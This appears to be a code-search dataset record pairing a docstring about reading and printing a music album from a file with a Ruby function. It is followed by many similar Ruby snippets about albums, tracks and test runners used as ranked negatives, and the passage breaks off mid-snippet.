"def search\n # If there's only one in the list, there will still be a list\n @ff.each_file do |fil|\n \n # TODO: check for unreadable files and record them as such\n f = File.open fil.fullpath, \"r\"\n r = /^\\s*\\#\\s*#{ @tag }/i\n f.each_line do |line|\n if line =~ r\n @found += 1\n #@repo\n end\n end\n end\n \n if found > 0\n @reporter.report \"'#{ @tag }' tag #{ @found } time(s)\", true\n else\n \n @reporter.report_message \"\\tWhere are the #{ @tag } tags?\", false\n end\n \n \n end", "def read_tracks music_file\n\tcount = music_file.gets.to_i\n\ttracks = Array.new\n\t\n\ti = 0\n\twhile i < count\n\t\ttrack = read_track(music_file)\n\t\ttracks << track\n\t\ti = i + 1\n\tend\n\ttracks\nend", "def display_track_info(track_num)\n\t\tif @track_list.has_key? track_num.to_s then puts @track_list[track_num].to_s\n\t\telse puts \"Track #{track_num} does not exist in database!\" end\n\tend", "def get_tracks_url(album)\n tracks_url = ''\n if album.first == 'Twist and Shout' || album.first == 'A Hard Day\\'s Night' || album.first == 'Yellow Submarine'\n tracks_url = \"https://en.wikipedia.org/wiki/#{album.first} (album)\"\n elsif album.first == 'Something New' || album.first == 'Revolver' || album.first == 'Let It Be'\n tracks_url = \"https://en.wikipedia.org/wiki/#{album.first} (Beatles album)\"\n elsif album.first == 'The Beatles (\"The White Album\")'\n tracks_url = \"https://en.wikipedia.org/wiki/The_Beatles_(album)\"\n else\n tracks_url = \"https://en.wikipedia.org/wiki/#{album.first}\"\n end\n return tracks_url\nend", "def find(name); end", "def read_tracks music_file\n\tcount = music_file.gets().to_i\n\ttracks = Array.new()\n track = File.open('album.txt')\n # Put a while loop here which increments an index to read the tracks\n\ti = 0\n\twhile (i < count)\n \ttrack = read_track(music_file)\n\t\ttracks << track\n\t\ti += 1\n\tend\n\treturn tracks\nend", "def check_playedcard(name, card_lbl)\r\n pos = 0\r\n #p @cards_played\r\n @cards_played.each do |cd_played_info|\r\n if cd_played_info[:name] == name and card_lbl.to_s == cd_played_info[:card_s]\r\n return pos\r\n end\r\n pos += 1\r\n end\r\n return nil\r\n end" ]
[ "0.88278", "0.8806834", "0.84274423", "0.779225", "0.7767581", "0.76326054", "0.75226533", "0.6730903", "0.67054236", "0.6592457", "0.6546084", "0.6351245", "0.6264797", "0.62097067", "0.62037647", "0.61787224", "0.61520106", "0.6137741", "0.6129702", "0.60880524", "0.60302985", "0.59783435", "0.5965556", "0.5923077", "0.591336", "0.58798075", "0.5823706", "0.5809555", "0.5808042", "0.57980347", "0.5795605", "0.5776896", "0.5715414", "0.570151", "0.569058", "0.5677065", "0.56755155", "0.5671342", "0.5667146", "0.5667135", "0.56661123", "0.5658623", "0.5657187", "0.5653552", "0.5650589", "0.56426483", "0.5640966", "0.5623201", "0.56125104", "0.5601549", "0.5598525", "0.55935824", "0.5588883", "0.5580823", "0.5576889", "0.5570024", "0.55600774", "0.5559525", "0.5555297", "0.5543442", "0.5519645", "0.55169666", "0.55098", "0.5500291", "0.54962164", "0.5494407", "0.5492208", "0.54886526", "0.54841983", "0.5482151", "0.5456748", "0.54523444", "0.54444593", "0.5437493", "0.54228365", "0.54192305", "0.541811", "0.5415219", "0.54082423", "0.54055196", "0.5398877", "0.53981405", "0.5393943", "0.53900266", "0.5386569", "0.5384037", "0.53764564", "0.5375272", "0.5370304", "0.53679776", "0.5363394", "0.53615975", "0.5346292", "0.5340523", "0.5328718", "0.5324477", "0.53230435", "0.53182316", "0.53128576", "0.53074324" ]
0.8906325
0
Reads in an Album from a file and then prints all the album to the terminal
def main music_file = File.open("album.txt", 'r') if music_file album = read_album(music_file) album.tracks = read_tracks(music_file) music_file.close() end puts "Enter the track name you wish to find: " search_string = gets.chomp index = search_for_track_name(album.tracks, search_string) if index > -1 puts "Found " + album.tracks[index].name + " at " + index.to_s # print_album(album) else puts "Entry not Found" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def main\n music_file = File.new(\"album.txt\", \"r\")\n\talbum = read_album(music_file)\n music_file.close()\n\n\tprint_album(album)\nend", "def main()\n\t music_file = File.new(\"album.txt\", \"r\")\n\t album = read_album(music_file)\n\t music_file.close()\n\t print_album(album)\n end", "def read_albums_file()\n \tmusic_file = File.new(\"albums.txt\",\"r\")\n albums = read_albums(music_file)\n music_file.close()\n\t\treturn albums\n end", "def main\n\talbum = read_album()\n\tprint_album(album)\nend", "def main\n\talbum = read_album()\n\tprint_album(album)\nend", "def load_albums\n \tmusic_file = File.new(\"album.txt\",\"r\")\n albums = read_albums(music_file)\n albums\n end", "def print_album album\n\tputs '*********************************************'\n\tputs 'Album Title: ' + album.title\n\tputs 'Album Artist: ' + album.artist\n\tputs 'Genre: ' + album.genre\n\tputs ''\n\tprint_tracks(album.tracks)\nend", "def print_album album\n\tputs 'Album Title: ' + album.title\n\tputs 'Album Artist: ' + album.artist\n\tputs 'Album Genre: ' + album.genre\n\tputs ''\n\tputs 'Tracks: '\n\tprint_tracks(album.tracks)\nend", "def read_album music_file\n\n # read in all the Album's fields/attributes including all the tracks\n # complete the missing code\n\n\talbum = Album.new(album_title, album_artist, album_genre, tracks)\n\talbum\nend", "def print_album album\n\tputs 'Title is ' + album.title.to_s\n\tputs 'Artist is ' + album.artist.to_s\n\tputs 'Genre is ' + $genre_names[album.genre]\n\t# print out the tracks\n\tprint_tracks(album.tracks)\nend", "def print_albums_info albums\n\tsystem \"clear\" or system \"cls\"\n\tputs add_space(' Albums').colorize(:color => :white, :background => :blue)\n\ti = 0\n\twhile i < albums.length\n\t\talbum = albums[i]\n\t\tid = ' Album ID: ' + album.id.to_s\n\t\tgenre = ' -= ' + album.genre + ' =-'\n\t\ttitle = ' > ' + album.title + ' by ' + album.artist\n\t\tputs add_space(' ').colorize(:color => :black, :background => :white)\n\t\tputs add_space(id).colorize(:color => :black, :background => :white)\n\t\tputs add_space(genre).colorize(:color => :red, :background => :white)\n\t\tputs add_space(title).colorize(:color => :red, :background => :white)\n\t\ti+=1\n\tend\n\tread_string(\"Press ENTER to continue.... \")\n\tsystem \"clear\" or system \"cls\"\nend", "def print_album album\n puts('Album information is: ')\n # insert lines here\n puts 'Artist is ' + album.title.to_s\n puts 'Album is ' + album.artist.to_s\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\nend", "def print_album(album)\n \n\t# print out all the albums fields/attributes\n\t# Complete the missing code.\n\t puts album.artist\n\t puts album.title\n\t puts('Genre is ' + album.genre.to_s)\n\t puts($genre_names[album.genre.to_i])\n\t # print out the tracks\n\t print_tracks(album.tracks)\n\t \n \n end", "def read_album music_file\n\talbum_artist = music_file.gets\n\talbum_title = music_file.gets\n\talbum_genre = $genre_names[music_file.gets.to_i].to_s\n\ttracks = read_tracks(music_file)\n\n\talbum = Album.new(album_title, album_artist, album_genre, tracks)\n\talbum\nend", "def read_album music_file\n\tartist = music_file.gets.chomp\n\ttitle = music_file.gets.chomp\n\tgenre = music_file.gets.chomp.to_i\n\n\talbum = Album.new(artist, title, genre, read_tracks(music_file))\nend", "def print_album album\n puts('Album information is: ')\n\t# insert lines here\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\nend", "def read_albums music_file\n albums = Array.new()\n count = music_file.gets()\n\t i = 0\n while (i < count.to_i)\n album = read_album(i,music_file)\n albums << album\n i += 1\n end\n albums\n end", "def read_album\n\n # You could use get_integer_range below to get a genre.\n # You only the need validation if reading from the terminal\n # (i.e when using a file later, you can assume the data in\n # the file is correct)\n\n # insert lines here - use read_integer_in_range to get a genre\n album_title = read_string(\"Album Title: \")\n album_artist = read_string(\"Album Artist: \")\n album_genre = read_integer_in_range(\"Album ID: \",1,4)\n album = Album.new(album_title, album_artist, album_genre)\nend", "def print_album album\r\n\tputs album.title\r\n\tputs album.artist\r\n\tputs 'Genre is ' + album.genre.to_s\r\n\tputs $genre_names[album.genre]\r\n\tprint_tracks(album.tracks)\r\nend", "def print_album album\n puts 'Album Artist is ' + album.artist.to_s\n puts 'Album Title is ' + album.title.to_s\n puts 'Genre is ' + album.genre.to_s\n puts $genre_names[album.genre]\n print_tracks(album.tracks)\nend", "def read_album(music_file)\n \n\t# read in all the Album's fields/attributes including all the tracks\n\t# complete the missing code\n\t album_artist= music_file.gets\n\t album_title= music_file.gets\n\t album_genre= music_file.gets\n\t tracks = read_tracks(music_file)\n\t album = Album.new(album_title, album_artist, album_genre, tracks)\n\t return album\n end", "def print_album album\n\n # print out all the albums fields/attributes\n # Complete the missing code.\n\n\tputs 'Genre is ' + album.genre.to_s\n\tputs $genre_names[album.genre]\n\t# print out the tracks\n\nend", "def main\n puts \"Welcome to the music player\"\n\talbum = read_album()\n\tprint_album(album)\nend", "def main\r\n puts \"Welcome to the music player\"\r\n\talbums = read_albums()\r\n\tprint_albums(albums)\r\nend", "def read_albums database_file\n\talbum_database = database_file.worksheets\n\talbums = Array.new\n\tcount = album_database.length.to_i\n\ti = 0\n\twhile i < count \n\t\talbum = read_album(album_database[i])\n\t\talbums << album\n\t\ti += 1\n\tend\n\talbums\nend", "def read_album\n\n # You could use get_integer_range below to get a genre.\n # You only the need validation if reading from the terminal\n # (i.e when using a file later, you can assume the data in\n # the file is correct)\n\n # insert lines here - use read_integer_in_range to get a genre\n album_title = read_string(\"Enter title\")\n album_artist = \"someone\"\n album_genre = Genre::POP\n album = Album.new()\n album.title = album_title\n album.artist = album_artist\n album.genre = album_genre\n album\nend", "def play_album albums\n\tid = read_integer('Album ID: ')\n\tvalid, index = validate_id(id ,albums)\n\tif valid\n\t\talbum = albums[index]\n\t\tprint_track_list(album)\n\t\tplay_track(album)\n\telse\n\t\tsystem \"clear\" or system \"cls\"\n\tend\nend", "def read_tracks music_file\n\tcount = music_file.gets().to_i\n\ttracks = Array.new()\n track = File.open('album.txt')\n # Put a while loop here which increments an index to read the tracks\n\ti = 0\n\twhile (i < count)\n \ttrack = read_track(music_file)\n\t\ttracks << track\n\t\ti += 1\n\tend\n\treturn tracks\nend", "def read_album\n album_title = read_string(\"Please enter album title.\")\n\talbum_artist = read_string(\"Please enter album artist.\")\n album_genre = $genre_names[read_genre].to_s\n tracks = read_tracks\n\talbum = Album.new(album_title, album_artist, album_genre, tracks)\n\talbum\nend", "def read_album\r\n\talbum_title = read_string(\"Enter title: \")\r\n\talbum_artist = read_string(\"Enter artist: \")\r\n album_genre = read_genre()\r\n\ttracks = read_tracks()\r\n\talbum = Album.new(album_title, album_artist, album_genre, tracks)\r\n\talbum\r\nend", "def main\n music_file = File.new(\"album.txt\", \"r\")\n\talbum = read_album(music_file)\n music_file.close()\n\n search_string = read_string(\"Enter the track name you wish to find: \")\n index = search_for_track_name(album.tracks, search_string)\n if index > -1\n puts \"Found \" + album.tracks[index].name + \" at \" + index.to_s\n else\n puts \"Entry not Found\"\n end\n\nend", "def main\n music_file = File.new(\"album.txt\", \"r\")\n\talbum = read_album(music_file)\n music_file.close()\n\n search_string = read_string(\"Enter the track name you wish to find: \")\n index = search_for_track_name(album.tracks, search_string)\n\tif index > -1\n\t\tputs '**************************************************************'\n\t\tputs \"Found \" + album.tracks[index].name.chomp + \" at \" + index.to_s\n\t\tputs '**************************************************************'\n else\n puts \"Entry not Found\"\n end\n\nend", "def retirar_nome_album(nome_arq)\n nome_album = ''\n File.open(nome_arq, 'r').each do |line|\n nome_album = line if line.include? 'album_title:'\n end\n nome_album.split('\"')[1]\nend", "def view_album_songs(album)\n album_title = album\n album_id = Album.find_by(title: album_title).id\n songs = Song.where(album_id: album_id).map{|song| song.name}\n puts \"**************************\"\n puts \"**************************\"\n prompt(\"#{album_title}'s songs\", songs)\n end", "def show\n\t\t@album = Album.find(params[:id])\n\tend", "def read_albums\r\n count = 1\r\n\talbums = Array.new\r\n\tindex = 0\r\n\twhile (index < count)\r\n\t\talbum = read_album()\r\n\t\talbums << album\r\n\t\tindex += 1\r\n\tend\r\n\r\n\talbums\r\nend", "def read_album music_file\n album_artist = music_file.gets().chomp\n album_title = music_file.gets().chomp\n album_genre = music_file.gets().to_i\n tracks = read_tracks(music_file)\n if tracks.length < 15\n album = Album.new(album_title, album_artist, album_genre, tracks)\n else\n album = Null\n puts \"#{album_title} has more than 15 tracks so it has not been imported.\"\n end\n album\nend", "def read_album_file\r\n finished = false\r\n begin\r\n $album_file = read_string('Enter File Name ( aka album.txt): ')\r\n music_file = File.new($album_file, \"r\")\r\n if music_file\r\n albums = read_albums(music_file)\r\n music_file.close()\r\n else\r\n puts \"Unable to open file to read!\" # this doesn't work when incorrect value given\r\n end\r\n puts 'Music Library Loaded'\r\n finished = read_string('Press ENTER...')\r\n end until finished\r\n return albums\r\nend", "def print_albums albums\r\n\ttimes = albums.length\r\n\tindex = 0\r\n\twhile (index < times)\r\n\t\tprint_album(albums[index])\r\n\t\tindex += 1\r\n\tend\r\nend", "def main\n a_file = File.new(\"input.txt\", \"r\") \n if a_file \n tracks = read_tracks(a_file)\n a_file.close\n else\n puts \"Unable to open file to read!\"\n end\n print_tracks(tracks)\nend", "def list_albums\n output = ''\n @albums.sort.each { |a|\n output += a + \"\\n\"\n #puts a\n }\n return output\n end", "def display_songs\n puts \"Your Discography\"\n songs.each do |song|\n puts \"* Artist: #{song.artist} - Song Name: #{song.title}\"\n end\n end", "def print_songs\n songs.each do |song|\n puts \"#{song.name}\"\n end\n end", "def print_songs\n songs.each { |song| puts \"#{song.name}\" }\n end", "def albums\n Dir[_(\"*\")].collect do |alb| \n album(File.basename(alb))\n end\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def print_songs\n songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def songs\n MusicImporter.new(path).print_songs\n end", "def print_songs\n songs.each {|song| puts song.name}\n end", "def get_album album_id\n get(\"/albums/#{album_id}\")\n end", "def print_songs\n songs.each do |song|\n print song.name + \"\\n\"\nend \nend", "def draw_albums(albums)\n i = 0\n x1 = 50\n y1 = 100\n x2 = 250\n y2 = 300\n while i < albums.length\n if i == 1\n x1 += 220\n x2 += 220\n elsif i == 2\n x1 = 50\n x2 = 250\n y1 += 220\n y2 += 220\n elsif i==3\n x1+=220\n x2+=220\n end \n albums[i].artfile.bmp.draw_as_quad(x1, y1, @image_color, x2, y1, @image_color, x1, y2, @image_color, x2, y2, @image_color,ZOrder::UI)\n i+=1\n end\n end", "def show\n @album = Album.find(params[:id])\n raise \"not found\" if @album.blank? \n @tracks = @album.tracks.all(:order => :tracknumber)\n @cover = @album.covers.first\n @comments = @album.comments.all(:order => :posted)\n rescue\n redirect_to artists_url, :notice => \"Can't find this album.\"\n end", "def initialize\n\t\t# Save the albums in an array\n\t\t@albums = Array.new\n\t\t# Albums are listed in order in the text file\n\t\trank = 1\n\t\tFile.open(\"top_100_albums.txt\", \"r\").each_line do |line|\n\t\t\t@albums << [rank] + line.chomp.split(\", \")\n\t\t\trank += 1\n\t\tend\n\tend", "def main()\n \tmusic_file = File.new(\"album.txt\", \"r\")\n\ttracks = read_tracks(music_file)\n \tmusic_file.close()\n\n \tsearch_string = read_string(\"Enter the track name you wish to find: \")\n \t$index = search_for_track_name(tracks, search_string)\n \tif $index > -1\n \t\tputs \"Found \" + tracks[$index].name + \" at \" + $index.to_s()\n \telse\n \tputs \"Entry not Found\"\n \tend\nend", "def read_track music_file\n\tname = music_file.gets\n\tlocation = music_file.gets\n\ttrack = Track.new(name, location)\n\ttrack\nend", "def print_songs\n @songs.each {|x| puts \"#{x.name}\\n\"}\n end", "def view_all_albums\n list_of_albums = []\n info_array = Album.all.each{|album| list_of_albums << album.title}.sort \n prompt(\"Albums: \", list_of_albums.sort)\n end", "def show_all_by artist\n if $albums.any?\n x = nil\n artist_albums = []\n $albums.each do |album, status|\n if album[1].downcase == artist.downcase\n puts \"#{album[0]} by #{album[1].gsub('\"', '')} (#{status})\"\n artist_albums.push(album)\n x = true\n end\n end\n if x == true\n return artist_albums\n else\n puts \"You don't have any albums by that artist.\"\n end\n else\n puts \"You don't have any albums! You should add some.\"\n end\nend", "def print_contents\n\t\tputs \"Artist: %s\" % [@artist]\n\t\tputs \"Album: %s\" % [@title]\n\t\tputs \"Released: %s\" % [@year]\n\n\t\tif @cd_count > 0\n\t\tputs \"CD(%d): %s\" % [@cd_count, @cd_id]\n\t\tend\n\n\t\tif @tape_count > 0\n\t\tputs \"Tape(%d): %s\" % [@tape_count, @tape_id]\n\t\tend\n\n\t\tif @vinyl_count > 0\n\t\tputs \"Vinyl(%d): %s\" % [@vinyl_count, @vinyl_id]\n\t\tend\n\n\tend", "def print_songs\n @songs.each do |song|\n puts song.name\n end\n end", "def print_songs\n @songs.each do |song|\n puts song.name\n end \n end", "def print_songs\n @songs.each {|song| puts song.name}\n end", "def print_songs\n @songs.each {|song| puts song.name}\n end", "def print_songs\n self.songs.each{|song|\n puts song.name\n }\n end", "def print_songs\n self.songs.each {|s| puts s.name}\n end", "def show\n @albums = Artist.find(params[\"id\"]).albums\n end", "def print_tracks tracks\n\tputs 'Tracks: '\n\tfor i in 0...tracks.length do\n\t\ttrack = tracks[i]\n\t puts '*********************************************'\n\t puts '**************** Track No. ' + (i + 1).to_s + ' ****************'\n\t\tputs 'Track name: ' + track.name\n\t\tputs 'Track file location: ' + track.location\n\t\ti += 1\n\tend\nend", "def print_all(f)\t\t\t\t\t\t\t\t#prints the entire file\r\n puts f.read\r\nend", "def print_songs\n self.songs.each {|song| puts song.name}\n end", "def show\n @user = User.find(@artist.user_id)\n @albums = @artist.albums\n end", "def show\n @artist = @album.artist\n end", "def print_songs\n self.songs.each.do |song|\n puts song.name\n end", "def print_songs\n puts @songs.collect {|song| song.name}\n end", "def fetch_album(album_id)\n ::FbGraph2::Album.fetch(album_id, :access_token => access_token)\n end", "def read_track music_file\n\tname = music_file.gets()\n\tlocation = music_file.gets()\n\ttrack = Track.new(name, location)\n\treturn track\nend", "def artists\n MusicImporter.new(path).print_artists\n end", "def lyrics\n if @file && @mp3\n self.play\n \n @file.each {|line| charPrint(line)}\n end\n end", "def print_track track\n\t\tputs('Title: ' + track.name.to_s)\n \tputs('File location: ' + track.location.to_s)\nend", "def album_by_name(album_name)\n a = self.albums.where( name: album_name ).take\n puts a.inspect\n puts a.name\n return a\n end", "def print_all(f)\n\t# print what is read from the file\n\tputs f.read()\n# ends the print_all function definition\nend", "def fetch_album(args)\n search = AlbumFetch.new(args)\n response = APIRequest.post(search.query, Configuration.instance.api_url(@format))\n parse_response(response)\n end", "def print_songs \n songs.each {|song| puts song.name}\n end", "def read_tracks music_file\n\tcount = music_file.gets().to_i\n tracks = Array.new\n track = File.open(\"input.txt\")\n i = 0\n while (i < count)\n track = read_track(music_file)\n tracks << track\n i += 1\n end \ntracks\nend", "def albums(options={})\n call_pageable('library.getalbums', :albums, Album, {:user => @user.name}.merge(options))\n end", "def get_metadata_file album\n Albatross::ThrowIf.is_nil? album, \"album\"\n \"storage/dropbox/#{album}.yml\"\nend", "def read_generic_file(file)\n TagLib::FileRef.open(file) do |fileref|\n tag = fileref.tag\n \n # Read basic attributes\n puts 'title: ' + tag.title.to_s #=> \"Wake Up\"\n puts 'artist: ' + tag.artist.to_s #=> \"Arcade Fire\"\n puts 'albulm: ' + tag.album.to_s #=> \"Funeral\"\n puts 'year: ' + tag.year.to_s #=> 2004\n puts 'track ' + tag.track.to_s #=> 7\n puts 'genre ' + tag.genre.to_s #=> \"Indie Rock\"\n puts 'comment ' +tag.comment.to_s #=> nil\n \n properties = fileref.audio_properties\n puts 'prop.length ' + properties.length.to_s #=> 335 (song length in seconds)\n end\n end", "def read_tracks music_file\n\tcount = music_file.gets.to_i\n\ttracks = Array.new\n\t\n\ti = 0\n\twhile i < count\n\t\ttrack = read_track(music_file)\n\t\ttracks << track\n\t\ti = i + 1\n\tend\n\ttracks\nend", "def show\n @album_information = AlbumInformation.find(params[:id])\n end", "def print_all(f)\n # read the file\n puts f.read\nend", "def read_track(music_file)\n\t# fill in the missing code\n\ttrack_name = music_file.gets()\n\ttrack_location = music_file.gets()\n\ttrack = Track.new(track_name, track_location)\nend", "def genres\n MusicImporter.new(path).print_genres\n end", "def print_file(filename)\n\tbegin\n\t\tfile = File.open(filename)\n\t\tdata = file.read\n\t\tputs data\n\t\tfile.close\n\t\tprint_separator\n \trescue StandardError => e\n\t\tputs \"Error: Could not read file \\'#{filename}\\'.\"\n \tend\nend", "def albums\n link :top_albums, :Album, name\n end", "def show\n @album = Album.find(params[:id])\n @tracks = @album.tracks\nend", "def info(options={})\n get(:standard, {:method => \"album.getInfo\"}.merge(options))\n end", "def albums()\n sql = \"SELECT * FROM albums WHERE artist_id = $1\"\n values = [@id]\n results = SqlRunner.run(sql, values)\n return results.map{|albums| Album.new(albums)}\n end", "def select_update_album albums\n\tsystem \"clear\" or system \"cls\"\n\tputs add_space(' Update Album').colorize(:color => :white, :background => :blue)\n\tputs add_space(' ').colorize(:color => :black, :background => :white)\n\tputs add_space(' Update an album\\'s info.').colorize(:color => :black, :background => :white)\n\tputs add_space(' ').colorize(:color => :black, :background => :white)\n\talbum_id = read_integer('Album ID: ')\n\ti = 0\n\tfound = false\n\twhile i < albums.length\n\t\tif album_id == albums[i].id\n\t\t\tfound = true\n\t\t\tupdate_album(albums[i])\n\t\tend\n\t\ti += 1\n\tend\n\tif found == false\n\t\tputs \"Unable to find an album with id: \" + album_id.to_s\n\t\tread_string(\"Press ENTER to go back.... \")\n\tend\n\tsystem \"clear\" or system \"cls\"\n\tfinished = true\nend" ]
[ "0.82238275", "0.8168838", "0.78670126", "0.77832097", "0.77832097", "0.7739746", "0.7618495", "0.7602705", "0.74717784", "0.74259996", "0.74094355", "0.73925894", "0.73923737", "0.73200476", "0.7229838", "0.72257847", "0.71979827", "0.7192569", "0.7174716", "0.70636374", "0.6952589", "0.682754", "0.6826725", "0.6756336", "0.66792417", "0.6571032", "0.6553424", "0.64350206", "0.6410316", "0.6168953", "0.61431384", "0.61355597", "0.6117329", "0.61082745", "0.6080682", "0.60781956", "0.6058933", "0.605252", "0.6024327", "0.60059583", "0.5975008", "0.59749454", "0.5972818", "0.5939622", "0.5935231", "0.5933957", "0.59113526", "0.59113526", "0.5902538", "0.5886442", "0.5846891", "0.5846736", "0.5837332", "0.58149123", "0.57725096", "0.57525593", "0.57511574", "0.5749636", "0.57303834", "0.5722854", "0.5719555", "0.57173896", "0.5716658", "0.56872696", "0.568149", "0.568149", "0.56809866", "0.5680255", "0.5650204", "0.5622578", "0.5618926", "0.56119925", "0.5609892", "0.5608628", "0.56005853", "0.5592531", "0.5582598", "0.5576462", "0.55658835", "0.5562383", "0.5543426", "0.5542889", "0.5533708", "0.552415", "0.5516786", "0.55126774", "0.5507688", "0.55029243", "0.5489281", "0.548841", "0.5485155", "0.548304", "0.5475293", "0.5466251", "0.5460973", "0.54529023", "0.5441612", "0.5438384", "0.54347295", "0.54321533" ]
0.62836623
29
get every test to pass before coding runner below
def runner welcome hand = initial_round while hand < 21 updated_hand = hit?(hand) display_card_total(updated_hand) hand = updated_hand end end_game(updated_hand) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_tests\n puts \"Running exactly #{@spec.size} tests.\"\n @spec.each do |test_case|\n sleep test_case.wait_before_request\n response = send_request_for(test_case)\n Checker.available_plugins.each do |plugin|\n result = @expectation.check(plugin, response, test_case)\n if not result.success?\n putc \"F\"\n @results << result\n break\n else\n if plugin == Checker.available_plugins.last\n @results << result\n putc \".\"\n end\n end\n end\n end\n end", "def test_all\n @results['test_start'] = Time.now()\n passed = []\n boot_vm() if @options[:vmm_enabled]\n prep\n freeze_vm() if @options[:vmm_enabled]\n @log.info \"RUNNING NO-SERVICE TEST\"\n passed << one_test(@config['init_scenario'])\n # Stop testing if our initial test fails.\n unless passed.first == true\n @log.error \"Initial setup failed.. sleeping 60 seconds for debugging.\"\n sleep 60\n stop_vm() if @options[:vmm_enabled]\n return passed\n end\n freeze_vm() if @options[:vmm_enabled]\n @log.info \"RUNNING TESTS\"\n scenarios = get_scenarios\n test_counter = 0\n scenarios.each do |scenario|\n test_counter += 1\n @log.info \"Running test for #{scenario} - #{test_counter} of #{scenarios.size}\"\n passed << one_test(scenario)\n end\n stop_vm() if @config[:vmm_enabled]\n all_passed = passed.select{|p| p == false}.size == 0\n @log.info \"Number of tests run : #{passed.size}\"\n @log.info \"Result of ALL tests: Passed? #{all_passed}\"\n @results['test_stop'] = Time.now()\n @results['elapsed_time'] = @results['test_stop'] - @results['test_start']\n return all_passed\n end", "def test_cases; end", "def passed_tests\n self.tests.select do |test|\n test.status == 'passed'\n end\n end", "def final_test\n return unless MiniApivore.all_test_ran?\n\n @errors = MiniApivore.prepare_untested_errors\n assert(@errors.empty?, @errors.join(\"\\n\"))\n\n # preventing duplicate execution\n MiniApivore.runnable_list << \"#{self.class}::#{__method__}_runned\"\n end", "def run_tests\n tests_passed = true\n %w(desktop mobile kc_dm).each do |profile|\n tests_passed &= execute_test(profile)\n end\n tests_passed\n end", "def running_test_case; end", "def all_tests_pass\n cucumber_guard = ::Guard.guards({ :name => 'cucumber', :group => 'puppet_tests'}).first\n cucumber_passed = cucumber_guard.instance_variable_get(\"@failed_paths\").empty?\n rspec_guard = ::Guard.guards({ :name => 'rspec', :group => 'puppet_tests'}).first\n rspec_passed = rspec_guard.instance_variable_get(\"@failed_paths\").empty?\n return rspec_passed && cucumber_passed\nend", "def my_tests\n end", "def tests; end", "def tests; end", "def passed_checks\n all_checks_which_pass\n end", "def passes\n count - failures - errors - skips\n end", "def report\n\t\t\tputs \"Tests: #{@ok} ok, #{@fail} failures.\"\n\t\t\tif (@fail > 0)\n\t\t\t\tputs \"*** THERE WERE FAILURES *** \"\n\t\t\telse \n\t\t\t\tputs \"*** ALL TESTS PASSED ***\"\n\t\t\tend\n\t\tend", "def all_external_test_runs_passed?(test_types = nil)\n external_tests_blocking(test_types).empty?\n end", "def doTests( *tests )\n tests.find_all {|name,data|\n ! doTest(name)\n }\nend", "def go_run_tests\n @status = :running\n Thread.new do\n begin\n test_cases = @test_suite.sources\n\n @mutex.synchronize do\n @test_cases = test_cases\n @test_results = {}\n end\n\n @test_suite.run_tests do |result|\n @mutex.synchronize do\n @test_results[result[:source]] = result[:result]\n end\n end\n\n rescue => e\n puts e\n print e.bracktrace.join(\"\\n\")\n ensure\n @status = :ran\n end\n\n end\n end", "def run\n @testcases.each do |test|\n print \"[ RUN... ] \".green + \" #{name} #{test.name}\\r\"\n\n if test.run\n puts \"[ OK ] \".green + \" #{name} #{test.name}\"\n else\n puts \"[ FAIL ] \".red + \" #{name} #{test.name}\"\n puts\n puts \"Command that failed:\"\n test.explain\n return false\n end\n end\n\n true\n end", "def test_steps; end", "def test_steps; end", "def uninit_ok_tests\n if (!@num_tests_run.nil? && !@num_tests_failed.nil?)\n @num_tests_ok += @num_tests_run - @num_tests_failed\n end\n end", "def before_test(test); end", "def before_test(test); end", "def generate_alltest\n\n end", "def running_test_step; end", "def _test_pages_available\n #execute this code x number of times\n @custom_number_of_users.times do |i|\n puts 'Running tests for user #'+i.to_s\n # assert_section nil\n end\n end", "def testing_begin(files)\n end", "def unitTests\n\t\ttotalTests = 12\n\t\ttotalFailed = 0\n\t\toutput = \"\"\n\t\t@debug = true\n\n\t\t#CLEAR DB BEFORE RUNNING TEST. DEFINITELY CRUDE BUT THE ONLY THING I COULD GET WORKING\n\t\tself.TESTAPI_resetFixture\n\n\t\t#Test1: \"Does not allow a non-registered user login\"\n\t\tresponse = self.login(\"NonUser\",\"pass0\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test1\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test2: \"Allows a user that supplies no password get added\"\n\t\tresponse = self.add(\"user2\",\"\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test2\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test3: \"Allows a user with a username and password get added\"\n\t\tresponse = self.add(\"user3\",\"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test3\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test4: \"Doesn't allow an already added user get added again\"\n\t\tresponse = self.add(\"user3\",\"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test4\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test5: \"Doesn't allow a blank username get added\"\n\t\tresponse = self.add(\"\",\"pass5\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -3\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test5\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test6: \"It allows a username and password of 128 characters to get added\"\n\t\tresponse = 